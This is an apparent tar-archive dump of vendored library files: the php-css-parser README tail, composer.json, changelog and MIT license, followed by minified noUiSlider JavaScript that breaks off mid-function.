## Contributors/Thanks to

* [oliverklee](https://github.com/oliverklee) for lots of refactorings, code modernizations and CI integrations
* [raxbg](https://github.com/raxbg) for contributions to parse `calc`, grid lines, and various bugfixes.
* [westonruter](https://github.com/westonruter) for bugfixes and improvements.
* [FMCorz](https://github.com/FMCorz) for many patches and suggestions, for being able to parse comments and IE hacks (in lenient mode).
* [Lullabot](https://github.com/Lullabot) for a patch that allows to know the line number for each parsed token.
* [ju1ius](https://github.com/ju1ius) for the specificity parsing code and the ability to expand/compact shorthand properties.
* [ossinkine](https://github.com/ossinkine) for a 150 time performance boost.
* [GaryJones](https://github.com/GaryJones) for lots of input and [https://css-specificity.info/](https://css-specificity.info/).
* [docteurklein](https://github.com/docteurklein) for output formatting and `CSSList->remove()` inspiration.
* [nicolopignatelli](https://github.com/nicolopignatelli) for PSR-0 compatibility.
* [diegoembarcadero](https://github.com/diegoembarcadero) for keyframe at-rule parsing.
* [goetas](https://github.com/goetas) for @namespace at-rule support.
* [View full list](https://github.com/sabberworm/PHP-CSS-Parser/contributors)

## Misc

* Legacy Support: The latest pre-PSR-0 version of this project can be checked with the `0.9.0` tag.
* Running Tests: To run all unit tests for this project, run `composer install` to install phpunit and use `./vendor/bin/phpunit`.
vendor/sabberworm/php-css-parser/composer.json000066600000005501151150442750015606 0ustar00{
    "name": "sabberworm/php-css-parser",
    "type": "library",
    "description": "Parser for CSS Files written in PHP",
    "keywords": [
        "parser",
        "css",
        "stylesheet"
    ],
    "homepage": "https://www.sabberworm.com/blog/2010/6/10/php-css-parser",
    "license": "MIT",
    "authors": [
        {
            "name": "Raphael Schweikert"
        },
        {
            "name": "Oliver Klee",
            "email": "github@oliverklee.de"
        },
        {
            "name": "Jake Hotson",
            "email": "jake.github@qzdesign.co.uk"
        }
    ],
    "require": {
        "php": "^5.6.20 || ^7.0.0 || ~8.0.0 || ~8.1.0 || ~8.2.0 || ~8.3.0 || ~8.4.0",
        "ext-iconv": "*"
    },
    "require-dev": {
        "phpunit/phpunit": "5.7.27 || 6.5.14 || 7.5.20 || 8.5.40"
    },
    "suggest": {
        "ext-mbstring": "for parsing UTF-8 CSS"
    },
    "autoload": {
        "psr-4": {
            "Sabberworm\\CSS\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "Sabberworm\\CSS\\Tests\\": "tests/"
        }
    },
    "extra": {
        "branch-alias": {
            "dev-main": "9.0.x-dev"
        }
    },
    "scripts": {
        "ci": [
            "@ci:static"
        ],
        "ci:php:fixer": "@php ./.phive/php-cs-fixer.phar --config=config/php-cs-fixer.php fix --dry-run -v --show-progress=dots bin src tests",
        "ci:php:sniffer": "@php ./.phive/phpcs.phar --standard=config/phpcs.xml bin src tests",
        "ci:php:stan": "@php ./.phive/phpstan.phar --configuration=config/phpstan.neon",
        "ci:static": [
            "@ci:php:fixer",
            "@ci:php:sniffer",
            "@ci:php:stan"
        ],
        "fix:php": [
            "@fix:php:fixer",
            "@fix:php:sniffer"
        ],
        "fix:php:fixer": "@php ./.phive/php-cs-fixer.phar --config=config/php-cs-fixer.php fix bin src tests",
        "fix:php:sniffer": "@php ./.phive/phpcbf.phar --standard=config/phpcs.xml bin src tests",
        "phpstan:baseline": "@php ./.phive/phpstan.phar --configuration=config/phpstan.neon --generate-baseline=config/phpstan-baseline.neon"
    },
    "scripts-descriptions": {
        "ci": "Runs all dynamic and static code checks (i.e. currently, only the static checks).",
        "ci:php:fixer": "Checks the code style with PHP CS Fixer.",
        "ci:php:sniffer": "Checks the code style with PHP_CodeSniffer.",
        "ci:php:stan": "Checks the types with PHPStan.",
        "ci:static": "Runs all static code analysis checks for the code.",
        "fix:php": "Autofixes all autofixable issues in the PHP code.",
        "fix:php:fixer": "Fixes autofixable issues found by PHP CS Fixer.",
        "fix:php:sniffer": "Fixes autofixable issues found by PHP_CodeSniffer.",
        "phpstand:baseline": "Updates the PHPStan baseline file to match the code."
    }
}
vendor/sabberworm/php-css-parser/CHANGELOG.md000066600000024416151150442750014703 0ustar00# Changelog

All notable changes to this project will be documented in this file.
This project adheres to [Semantic Versioning](https://semver.org/).

## x.y.z

### Added

### Changed

### Deprecated

### Removed

### Fixed

## 8.7.0: Add support for PHP 8.4

### Added

- Add support for PHP 8.4 (#675, #701, #746, #751)

### Changed

- Mark parsing-internal classes and methods as `@internal` (#711)
- Block installations on unsupported higher PHP versions (#691)

### Deprecated

- Deprecate the expansion of shorthand properties (#719)
- Deprecate `Parser::setCharset()` and `Parser::getCharset()` (#703)

### Fixed

- Fix type errors in PHP strict mode (#695)

## 8.6.0

### Added

- Support arithmetic operators in CSS function arguments (#607)
- Add support for inserting an item in a CSS list (#545)
- Add support for the `dvh`, `lvh` and `svh` length units (#415)

### Changed

- Improve performance of Value::parseValue with many delimiters by refactoring
  to remove `array_search()` (#413)

## 8.5.2

### Changed

- Mark all class constants as `@internal` (#500)

### Fixed

- Fix undefined local variable in `CalcFunction::parse()` (#593)

## 8.5.1

### Fixed

- Fix PHP notice caused by parsing invalid color values having less than
  6 characters (#485)
- Fix (regression) failure to parse at-rules with strict parsing (#456)

## 8.5.0

### Added

- Add a method to get an import's media queries (#384)
- Add more unit tests (#381, #382)

### Fixed

- Retain CSSList and Rule comments when rendering CSS (#351)
- Replace invalid `turns` unit with `turn` (#350)
- Also allow string values for rules (#348)
- Fix invalid calc parsing (#169)
- Handle scientific notation when parsing sizes (#179)
- Fix PHP 8.1 compatibility in `ParserState::strsplit()` (#344)

## 8.4.0

### Features

* Support for PHP 8.x
* PHPDoc annotations
* Allow usage of CSS variables inside color functions (by parsing them as
  regular functions)
* Use PSR-12 code style
* *No deprecations*

### Bugfixes

* Improved handling of whitespace in `calc()`
* Fix parsing units whose prefix is also a valid unit, like `vmin`
* Allow passing an object to `CSSList#replace`
* Fix PHP 7.3 warnings
* Correctly parse keyframes with `%`
* Don’t convert large numbers to scientific notation
* Allow a file to end after an `@import`
* Preserve case of CSS variables as specced
* Allow identifiers to use escapes the same way as strings
* No longer use `eval` for the comparison in `getSelectorsBySpecificity`, in
  case it gets passed untrusted input (CVE-2020-13756). Also fixed in 8.3.1,
  8.2.1, 8.1.1, 8.0.1, 7.0.4, 6.0.2, 5.2.1, 5.1.3, 5.0.9, 4.0.1, 3.0.1, 2.0.1,
  1.0.1.
* Prevent an infinite loop when parsing invalid grid line names
* Remove invalid unit `vm`
* Retain rule order after expanding shorthands

### Backwards-incompatible changes

* PHP ≥ 5.6 is now required
* HHVM compatibility target dropped

## 8.3.0 (2019-02-22)

* Refactor parsing logic to mostly reside in the class files whose data
  structure is to be parsed (this should eventually allow us to unit-test
  specific parts of the parsing logic individually).
* Fix error in parsing `calc` expessions when the first operand is a negative
  number, thanks to @raxbg.
* Support parsing CSS4 colors in hex notation with alpha values, thanks to
  @raxbg.
* Swallow more errors in lenient mode, thanks to @raxbg.
* Allow specifying arbitrary strings to output before and after declaration
  blocks, thanks to @westonruter.
* *No backwards-incompatible changes*
* *No deprecations*

## 8.2.0 (2018-07-13)

* Support parsing `calc()`, thanks to @raxbg.
* Support parsing grid-lines, again thanks to @raxbg.
* Support parsing legacy IE filters (`progid:`) in lenient mode, thanks to
  @FMCorz
* Performance improvements parsing large files, again thanks to @FMCorz
* *No backwards-incompatible changes*
* *No deprecations*

## 8.1.0 (2016-07-19)

* Comments are no longer silently ignored but stored with the object with which
  they appear (no render support, though). Thanks to @FMCorz.
* The IE hacks using `\0` and `\9` can now be parsed (and rendered) in lenient
  mode. Thanks (again) to @FMCorz.
* Media queries with or without spaces before the query are parsed. Still no
  *real* parsing support, though. Sorry…
* PHPUnit is now listed as a dev-dependency in composer.json.
* *No backwards-incompatible changes*
* *No deprecations*

## 8.0.0 (2016-06-30)

* Store source CSS line numbers in tokens and parsing exceptions.
* *No deprecations*

### Backwards-incompatible changes

* Unrecoverable parser errors throw an exception of type
  `Sabberworm\CSS\Parsing\SourceException` instead of `\Exception`.

## 7.0.3 (2016-04-27)

* Fixed parsing empty CSS when multibyte is off
* *No backwards-incompatible changes*
* *No deprecations*

## 7.0.2 (2016-02-11)

* 150 time performance boost thanks
  to @[ossinkine](https://github.com/ossinkine)
* *No backwards-incompatible changes*
* *No deprecations*

## 7.0.1 (2015-12-25)

* No more suppressed `E_NOTICE`
* *No backwards-incompatible changes*
* *No deprecations*

## 7.0.0 (2015-08-24)

* Compatibility with PHP 7. Well timed, eh?
* *No deprecations*

### Backwards-incompatible changes

* The `Sabberworm\CSS\Value\String` class has been renamed to
  `Sabberworm\CSS\Value\CSSString`.

## 6.0.1 (2015-08-24)

* Remove some declarations in interfaces incompatible with PHP 5.3 (< 5.3.9)
* *No deprecations*

## 6.0.0 (2014-07-03)

* Format output using Sabberworm\CSS\OutputFormat
* *No backwards-incompatible changes*

### Deprecations

* The parse() method replaces __toString with an optional argument (instance of
  the OutputFormat class)

## 5.2.0 (2014-06-30)

* Support removing a selector from a declaration block using
  `$oBlock->removeSelector($mSelector)`
* Introduce a specialized exception (Sabberworm\CSS\Parsing\OuputException) for
  exceptions during output rendering

* *No deprecations*

#### Backwards-incompatible changes

* Outputting a declaration block that has no selectors throws an OuputException
  instead of outputting an invalid ` {…}` into the CSS document.

## 5.1.2 (2013-10-30)

* Remove the use of consumeUntil in comment parsing. This makes it possible to
  parse comments such as `/** Perfectly valid **/`
* Add fr relative size unit
* Fix some issues with HHVM
* *No backwards-incompatible changes*
* *No deprecations*

## 5.1.1 (2013-10-28)

* Updated CHANGELOG.md to reflect changes since 5.0.4
* *No backwards-incompatible changes*
* *No deprecations*

## 5.1.0 (2013-10-24)

* Performance enhancements by Michael M Slusarz
* More rescue entry points for lenient parsing (unexpected tokens between
  declaration blocks and unclosed comments)
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.8 (2013-08-15)

* Make default settings’ multibyte parsing option dependent on whether or not
  the mbstring extension is actually installed.
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.7 (2013-08-04)

* Fix broken decimal point output optimization
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.6 (2013-05-31)

* Fix broken unit test
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.5 (2013-04-17)

* Initial support for lenient parsing (setting this parser option will catch
  some exceptions internally and recover the parser’s state as neatly as
  possible).
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.4 (2013-03-21)

* Don’t output floats with locale-aware separator chars
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.3 (2013-03-21)

* More size units recognized
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.2 (2013-03-21)

* CHANGELOG.md file added to distribution
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.1 (2013-03-20)

* Internal cleanup
* *No backwards-incompatible changes*
* *No deprecations*

## 5.0.0 (2013-03-20)

* Correctly parse all known CSS 3 units (including Hz and kHz).
* Output RGB colors in short (#aaa or #ababab) notation
* Be case-insensitive when parsing identifiers.
* *No deprecations*

### Backwards-incompatible changes

* `Sabberworm\CSS\Value\Color`’s `__toString` method overrides `CSSList`’s to
  maybe return something other than `type(value, …)` (see above).

## 4.0.0 (2013-03-19)

* Support for more @-rules
* Generic interface `Sabberworm\CSS\Property\AtRule`, implemented by all @-rule
  classes
* *No deprecations*

### Backwards-incompatible changes

* `Sabberworm\CSS\RuleSet\AtRule` renamed to `Sabberworm\CSS\RuleSet\AtRuleSet`
* `Sabberworm\CSS\CSSList\MediaQuery` renamed to
  `Sabberworm\CSS\RuleSet\CSSList\AtRuleBlockList` with differing semantics and
  API (which also works for other block-list-based @-rules like `@supports`).

## 3.0.0 (2013-03-06)

* Support for lenient parsing (on by default)
* *No deprecations*

### Backwards-incompatible changes

* All properties (like whether or not to use `mb_`-functions, which default
  charset to use and – new – whether or not to be forgiving when parsing) are
  now encapsulated in an instance of `Sabberworm\CSS\Settings` which can be
  passed as the second argument to `Sabberworm\CSS\Parser->__construct()`.
* Specifying a charset as the second argument to
  `Sabberworm\CSS\Parser->__construct()` is no longer supported. Use
  `Sabberworm\CSS\Settings::create()->withDefaultCharset('some-charset')`
  instead.
* Setting `Sabberworm\CSS\Parser->bUseMbFunctions` has no effect. Use
  `Sabberworm\CSS\Settings::create()->withMultibyteSupport(true/false)` instead.
* `Sabberworm\CSS\Parser->parse()` may throw a
  `Sabberworm\CSS\Parsing\UnexpectedTokenException` when in strict parsing mode.

## 2.0.0 (2013-01-29)

* Allow multiple rules of the same type per rule set

### Backwards-incompatible changes

* `Sabberworm\CSS\RuleSet->getRules()` returns an index-based array instead of
  an associative array. Use `Sabberworm\CSS\RuleSet->getRulesAssoc()` (which
  eliminates duplicate rules and lets the later rule of the same name win).
* `Sabberworm\CSS\RuleSet->removeRule()` works as it did before except when
  passed an instance of `Sabberworm\CSS\Rule\Rule`, in which case it would only
  remove the exact rule given instead of all the rules of the same type. To get
  the old behaviour, use `Sabberworm\CSS\RuleSet->removeRule($oRule->getRule()`;

## 1.0

Initial release of a stable public API.

## 0.9

Last version not to use PSR-0 project organization semantics.
vendor/sabberworm/php-css-parser/LICENSE000066600000002120151150442750014063 0ustar00MIT License

Copyright (c) 2011 Raphael Schweikert, https://www.sabberworm.com/

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
vendor/nouislider/js/nouislider.js000066600000040177151150442750013366 0ustar00/*! nouislider - 8.2.1 - 2015-12-02 21:43:14 */

!function(a){"function"==typeof define&&define.amd?define([],a):"object"==typeof exports?module.exports=a():window.noUiSlider=a()}(function(){"use strict";function a(a){return a.filter(function(a){return this[a]?!1:this[a]=!0},{})}function b(a,b){return Math.round(a/b)*b}function c(a){var b=a.getBoundingClientRect(),c=a.ownerDocument,d=c.documentElement,e=m();return/webkit.*Chrome.*Mobile/i.test(navigator.userAgent)&&(e.x=0),{top:b.top+e.y-d.clientTop,left:b.left+e.x-d.clientLeft}}function d(a){return"number"==typeof a&&!isNaN(a)&&isFinite(a)}function e(a){var b=Math.pow(10,7);return Number((Math.round(a*b)/b).toFixed(7))}function f(a,b,c){j(a,b),setTimeout(function(){k(a,b)},c)}function g(a){return Math.max(Math.min(a,100),0)}function h(a){return Array.isArray(a)?a:[a]}function i(a){var b=a.split(".");return b.length>1?b[1].length:0}function j(a,b){a.classList?a.classList.add(b):a.className+=" "+b}function k(a,b){a.classList?a.classList.remove(b):a.className=a.className.replace(new RegExp("(^|\\b)"+b.split(" ").join("|")+"(\\b|$)","gi")," ")}function l(a,b){a.classList?a.classList.contains(b):new RegExp("(^| )"+b+"( |$)","gi").test(a.className)}function m(){var a=void 0!==window.pageXOffset,b="CSS1Compat"===(document.compatMode||""),c=a?window.pageXOffset:b?document.documentElement.scrollLeft:document.body.scrollLeft,d=a?window.pageYOffset:b?document.documentElement.scrollTop:document.body.scrollTop;return{x:c,y:d}}function n(a){a.stopPropagation()}function o(a){return function(b){return a+b}}function p(a,b){return 100/(b-a)}function q(a,b){return 100*b/(a[1]-a[0])}function r(a,b){return q(a,a[0]<0?b+Math.abs(a[0]):b-a[0])}function s(a,b){return b*(a[1]-a[0])/100+a[0]}function t(a,b){for(var c=1;a>=b[c];)c+=1;return c}function u(a,b,c){if(c>=a.slice(-1)[0])return 100;var d,e,f,g,h=t(c,a);return d=a[h-1],e=a[h],f=b[h-1],g=b[h],f+r([d,e],c)/p(f,g)}function v(a,b,c){if(c>=100)return a.slice(-1)[0];var d,e,f,g,h=t(c,b);return d=a[h-1],e=a[h],f=b[h-1],g=b[h],s([d,e],(c-f)*p(f,g))}function w(a,c,d,e){if(100===e)return e;var f,g,h=t(e,a);return d?(f=a[h-1],g=a[h],e-f>(g-f)/2?g:f):c[h-1]?a[h-1]+b(e-a[h-1],c[h-1]):e}function x(a,b,c){var e;if("number"==typeof b&&(b=[b]),"[object Array]"!==Object.prototype.toString.call(b))throw new Error("noUiSlider: 'range' contains invalid value.");if(e="min"===a?0:"max"===a?100:parseFloat(a),!d(e)||!d(b[0]))throw new Error("noUiSlider: 'range' value isn't numeric.");c.xPct.push(e),c.xVal.push(b[0]),e?c.xSteps.push(isNaN(b[1])?!1:b[1]):isNaN(b[1])||(c.xSteps[0]=b[1])}function y(a,b,c){return b?void(c.xSteps[a]=q([c.xVal[a],c.xVal[a+1]],b)/p(c.xPct[a],c.xPct[a+1])):!0}function z(a,b,c,d){this.xPct=[],this.xVal=[],this.xSteps=[d||!1],this.xNumSteps=[!1],this.snap=b,this.direction=c;var e,f=[];for(e in a)a.hasOwnProperty(e)&&f.push([a[e],e]);for(f.length&&"object"==typeof f[0][0]?f.sort(function(a,b){return a[0][0]-b[0][0]}):f.sort(function(a,b){return a[0]-b[0]}),e=0;e<f.length;e++)x(f[e][1],f[e][0],this);for(this.xNumSteps=this.xSteps.slice(0),e=0;e<this.xNumSteps.length;e++)y(e,this.xNumSteps[e],this)}function A(a,b){if(!d(b))throw new Error("noUiSlider: 'step' is not numeric.");a.singleStep=b}function B(a,b){if("object"!=typeof b||Array.isArray(b))throw new Error("noUiSlider: 'range' is not an object.");if(void 0===b.min||void 0===b.max)throw new Error("noUiSlider: Missing 'min' or 'max' in 'range'.");if(b.min===b.max)throw new Error("noUiSlider: 'range' 'min' and 'max' cannot be equal.");a.spectrum=new z(b,a.snap,a.dir,a.singleStep)}function C(a,b){if(b=h(b),!Array.isArray(b)||!b.length||b.length>2)throw new Error("noUiSlider: 'start' option is incorrect.");a.handles=b.length,a.start=b}function D(a,b){if(a.snap=b,"boolean"!=typeof b)throw new Error("noUiSlider: 'snap' option must be a boolean.")}function E(a,b){if(a.animate=b,"boolean"!=typeof b)throw new Error("noUiSlider: 'animate' option must be a boolean.")}function F(a,b){if("lower"===b&&1===a.handles)a.connect=1;else if("upper"===b&&1===a.handles)a.connect=2;else if(b===!0&&2===a.handles)a.connect=3;else{if(b!==!1)throw new Error("noUiSlider: 'connect' option doesn't match handle count.");a.connect=0}}function G(a,b){switch(b){case"horizontal":a.ort=0;break;case"vertical":a.ort=1;break;default:throw new Error("noUiSlider: 'orientation' option is invalid.")}}function H(a,b){if(!d(b))throw new Error("noUiSlider: 'margin' option must be numeric.");if(a.margin=a.spectrum.getMargin(b),!a.margin)throw new Error("noUiSlider: 'margin' option is only supported on linear sliders.")}function I(a,b){if(!d(b))throw new Error("noUiSlider: 'limit' option must be numeric.");if(a.limit=a.spectrum.getMargin(b),!a.limit)throw new Error("noUiSlider: 'limit' option is only supported on linear sliders.")}function J(a,b){switch(b){case"ltr":a.dir=0;break;case"rtl":a.dir=1,a.connect=[0,2,1,3][a.connect];break;default:throw new Error("noUiSlider: 'direction' option was not recognized.")}}function K(a,b){if("string"!=typeof b)throw new Error("noUiSlider: 'behaviour' must be a string containing options.");var c=b.indexOf("tap")>=0,d=b.indexOf("drag")>=0,e=b.indexOf("fixed")>=0,f=b.indexOf("snap")>=0,g=b.indexOf("hover")>=0;if(d&&!a.connect)throw new Error("noUiSlider: 'drag' behaviour must be used with 'connect': true.");a.events={tap:c||f,drag:d,fixed:e,snap:f,hover:g}}function L(a,b){var c;if(b!==!1)if(b===!0)for(a.tooltips=[],c=0;c<a.handles;c++)a.tooltips.push(!0);else{if(a.tooltips=h(b),a.tooltips.length!==a.handles)throw new Error("noUiSlider: must pass a formatter for all handles.");a.tooltips.forEach(function(a){if("boolean"!=typeof a&&("object"!=typeof a||"function"!=typeof a.to))throw new Error("noUiSlider: 'tooltips' must be passed a formatter or 'false'.")})}}function M(a,b){if(a.format=b,"function"==typeof b.to&&"function"==typeof b.from)return!0;throw new Error("noUiSlider: 'format' requires 'to' and 'from' methods.")}function N(a,b){if(void 0!==b&&"string"!=typeof b)throw new Error("noUiSlider: 'cssPrefix' must be a string.");a.cssPrefix=b}function O(a){var b,c={margin:0,limit:0,animate:!0,format:T};b={step:{r:!1,t:A},start:{r:!0,t:C},connect:{r:!0,t:F},direction:{r:!0,t:J},snap:{r:!1,t:D},animate:{r:!1,t:E},range:{r:!0,t:B},orientation:{r:!1,t:G},margin:{r:!1,t:H},limit:{r:!1,t:I},behaviour:{r:!0,t:K},format:{r:!1,t:M},tooltips:{r:!1,t:L},cssPrefix:{r:!1,t:N}};var d={connect:!1,direction:"ltr",behaviour:"tap",orientation:"horizontal"};return Object.keys(b).forEach(function(e){if(void 0===a[e]&&void 0===d[e]){if(b[e].r)throw new Error("noUiSlider: '"+e+"' is required.");return!0}b[e].t(c,void 0===a[e]?d[e]:a[e])}),c.pips=a.pips,c.style=c.ort?"top":"left",c}function P(b,d){function e(a,b,c){var d=a+b[0],e=a+b[1];return c?(0>d&&(e+=Math.abs(d)),e>100&&(d-=e-100),[g(d),g(e)]):[d,e]}function p(a,b){a.preventDefault();var c,d,e=0===a.type.indexOf("touch"),f=0===a.type.indexOf("mouse"),g=0===a.type.indexOf("pointer"),h=a;return 0===a.type.indexOf("MSPointer")&&(g=!0),e&&(c=a.changedTouches[0].pageX,d=a.changedTouches[0].pageY),b=b||m(),(f||g)&&(c=a.clientX+b.x,d=a.clientY+b.y),h.pageOffset=b,h.points=[c,d],h.cursor=f||g,h}function q(a,b){var c=document.createElement("div"),d=document.createElement("div"),e=["-lower","-upper"];return a&&e.reverse(),j(d,da[3]),j(d,da[3]+e[b]),j(c,da[2]),c.appendChild(d),c}function r(a,b,c){switch(a){case 1:j(b,da[7]),j(c[0],da[6]);break;case 3:j(c[1],da[6]);case 2:j(c[0],da[7]);case 0:j(b,da[6])}}function s(a,b,c){var d,e=[];for(d=0;a>d;d+=1)e.push(c.appendChild(q(b,d)));return e}function t(a,b,c){j(c,da[0]),j(c,da[8+a]),j(c,da[4+b]);var d=document.createElement("div");return j(d,da[1]),c.appendChild(d),d}function u(a,b){if(!d.tooltips[b])return!1;var c=document.createElement("div");return c.className=da[18],a.firstChild.appendChild(c)}function v(){d.dir&&d.tooltips.reverse();var a=Y.map(u);d.dir&&(a.reverse(),d.tooltips.reverse()),U("update",function(b,c,e){a[c]&&(a[c].innerHTML=d.tooltips[c]===!0?b[c]:d.tooltips[c].to(e[c]))})}function w(a,b,c){if("range"===a||"steps"===a)return aa.xVal;if("count"===a){var d,e=100/(b-1),f=0;for(b=[];(d=f++*e)<=100;)b.push(d);a="positions"}return"positions"===a?b.map(function(a){return aa.fromStepping(c?aa.getStep(a):a)}):"values"===a?c?b.map(function(a){return aa.fromStepping(aa.getStep(aa.toStepping(a)))}):b:void 0}function x(b,c,d){function e(a,b){return(a+b).toFixed(7)/1}var f=aa.direction,g={},h=aa.xVal[0],i=aa.xVal[aa.xVal.length-1],j=!1,k=!1,l=0;return aa.direction=0,d=a(d.slice().sort(function(a,b){return a-b})),d[0]!==h&&(d.unshift(h),j=!0),d[d.length-1]!==i&&(d.push(i),k=!0),d.forEach(function(a,f){var h,i,m,n,o,p,q,r,s,t,u=a,v=d[f+1];if("steps"===c&&(h=aa.xNumSteps[f]),h||(h=v-u),u!==!1&&void 0!==v)for(i=u;v>=i;i=e(i,h)){for(n=aa.toStepping(i),o=n-l,r=o/b,s=Math.round(r),t=o/s,m=1;s>=m;m+=1)p=l+m*t,g[p.toFixed(5)]=["x",0];q=d.indexOf(i)>-1?1:"steps"===c?2:0,!f&&j&&(q=0),i===v&&k||(g[n.toFixed(5)]=[i,q]),l=n}}),aa.direction=f,g}function y(a,b,c){function e(a){return["-normal","-large","-sub"][a]}function f(a,b,c){return'class="'+b+" "+b+"-"+h+" "+b+e(c[1])+'" style="'+d.style+": "+a+'%"'}function g(a,d){aa.direction&&(a=100-a),d[1]=d[1]&&b?b(d[0],d[1]):d[1],i.innerHTML+="<div "+f(a,da[21],d)+"></div>",d[1]&&(i.innerHTML+="<div "+f(a,da[22],d)+">"+c.to(d[0])+"</div>")}var h=["horizontal","vertical"][d.ort],i=document.createElement("div");return j(i,da[20]),j(i,da[20]+"-"+h),Object.keys(a).forEach(function(b){g(b,a[b])}),i}function z(a){var b=a.mode,c=a.density||1,d=a.filter||!1,e=a.values||!1,f=a.stepped||!1,g=w(b,e,f),h=x(c,b,g),i=a.format||{to:Math.round};return $.appendChild(y(h,d,i))}function A(){return X["offset"+["Width","Height"][d.ort]]}function B(a,b,c){void 0!==b&&1!==d.handles&&(b=Math.abs(b-d.dir)),Object.keys(ca).forEach(function(d){var e=d.split(".")[0];a===e&&ca[d].forEach(function(a){a.call(Z,h(P()),b,h(C(Array.prototype.slice.call(ba))),c||!1)})})}function C(a){return 1===a.length?a[0]:d.dir?a.reverse():a}function D(a,b,c,e){var f=function(b){return $.hasAttribute("disabled")?!1:l($,da[14])?!1:(b=p(b,e.pageOffset),a===R.start&&void 0!==b.buttons&&b.buttons>1?!1:e.hover&&b.buttons?!1:(b.calcPoint=b.points[d.ort],void c(b,e)))},g=[];return a.split(" ").forEach(function(a){b.addEventListener(a,f,!1),g.push([a,f])}),g}function E(a,b){if(-1===navigator.appVersion.indexOf("MSIE 9")&&0===a.buttons&&0!==b.buttonsProperty)return F(a,b);var c,d,f=b.handles||Y,g=!1,h=100*(a.calcPoint-b.start)/b.baseSize,i=f[0]===Y[0]?0:1;if(c=e(h,b.positions,f.length>1),g=L(f[0],c[i],1===f.length),f.length>1){if(g=L(f[1],c[i?0:1],!1)||g)for(d=0;d<b.handles.length;d++)B("slide",d)}else g&&B("slide",i)}function F(a,b){var c=X.querySelector("."+da[15]),d=b.handles[0]===Y[0]?0:1;null!==c&&k(c,da[15]),a.cursor&&(document.body.style.cursor="",document.body.removeEventListener("selectstart",document.body.noUiListener));var e=document.documentElement;e.noUiListeners.forEach(function(a){e.removeEventListener(a[0],a[1])}),k($,da[12]),B("set",d),B("change",d),void 0!==b.handleNumber&&B("end",b.handleNumber)}function G(a,b){"mouseout"===a.type&&"HTML"===a.target.nodeName&&null===a.relatedTarget&&F(a,b)}function H(a,b){var c=document.documentElement;if(1===b.handles.length&&(j(b.handles[0].children[0],da[15]),b.handles[0].hasAttribute("disabled")))return!1;a.preventDefault(),a.stopPropagation();var d=D(R.move,c,E,{start:a.calcPoint,baseSize:A(),pageOffset:a.pageOffset,handles:b.handles,handleNumber:b.handleNumber,buttonsProperty:a.buttons,positions:[_[0],_[Y.length-1]]}),e=D(R.end,c,F,{handles:b.handles,handleNumber:b.handleNumber}),f=D("mouseout",c,G,{handles:b.handles,handleNumber:b.handleNumber});if(c.noUiListeners=d.concat(e,f),a.cursor){document.body.style.cursor=getComputedStyle(a.target).cursor,Y.length>1&&j($,da[12]);var g=function(){return!1};document.body.noUiListener=g,document.body.addEventListener("selectstart",g,!1)}void 0!==b.handleNumber&&B("start",b.handleNumber)}function I(a){var b,e,g=a.calcPoint,h=0;return a.stopPropagation(),Y.forEach(function(a){h+=c(a)[d.style]}),b=h/2>g||1===Y.length?0:1,g-=c(X)[d.style],e=100*g/A(),d.events.snap||f($,da[14],300),Y[b].hasAttribute("disabled")?!1:(L(Y[b],e),B("slide",b,!0),B("set",b,!0),B("change",b,!0),void(d.events.snap&&H(a,{handles:[Y[b]]})))}function J(a){var b=a.calcPoint-c(X)[d.style],e=aa.getStep(100*b/A()),f=aa.fromStepping(e);Object.keys(ca).forEach(function(a){"hover"===a.split(".")[0]&&ca[a].forEach(function(a){a.call(Z,f)})})}function K(a){var b,c;if(!a.fixed)for(b=0;b<Y.length;b+=1)D(R.start,Y[b].children[0],H,{handles:[Y[b]],handleNumber:b});if(a.tap&&D(R.start,X,I,{handles:Y}),a.hover)for(D(R.move,X,J,{hover:!0}),b=0;b<Y.length;b+=1)["mousemove MSPointerMove pointermove"].forEach(function(a){Y[b].children[0].addEventListener(a,n,!1)});a.drag&&(c=[X.querySelector("."+da[7])],j(c[0],da[10]),a.fixed&&c.push(Y[c[0]===Y[0]?1:0].children[0]),c.forEach(function(a){D(R.start,a,H,{handles:Y})}))}function L(a,b,c){var e=a!==Y[0]?1:0,f=_[0]+d.margin,h=_[1]-d.margin,i=_[0]+d.limit,l=_[1]-d.limit;return Y.length>1&&(b=e?Math.max(b,f):Math.min(b,h)),c!==!1&&d.limit&&Y.length>1&&(b=e?Math.min(b,i):Math.max(b,l)),b=aa.getStep(b),b=g(parseFloat(b.toFixed(7))),b===_[e]?!1:(window.requestAnimationFrame?window.requestAnimationFrame(function(){a.style[d.style]=b+"%"}):a.style[d.style]=b+"%",a.previousSibling||(k(a,da[17]),b>50&&j(a,da[17])),_[e]=b,ba[e]=aa.fromStepping(b),B("update",e),!0)}function M(a,b){var c,e,f;for(d.limit&&(a+=1),c=0;a>c;c+=1)e=c%2,f=b[e],null!==f&&f!==!1&&("number"==typeof f&&(f=String(f)),f=d.format.from(f),(f===!1||isNaN(f)||L(Y[e],aa.toStepping(f),c===3-d.dir)===!1)&&B("update",e))}function N(a){var b,c,e=h(a);for(d.dir&&d.handles>1&&e.reverse(),d.animate&&-1!==_[0]&&f($,da[14],300),b=Y.length>1?3:1,1===e.length&&(b=1),M(b,e),c=0;c<Y.length;c++)B("set",c)}function P(){var 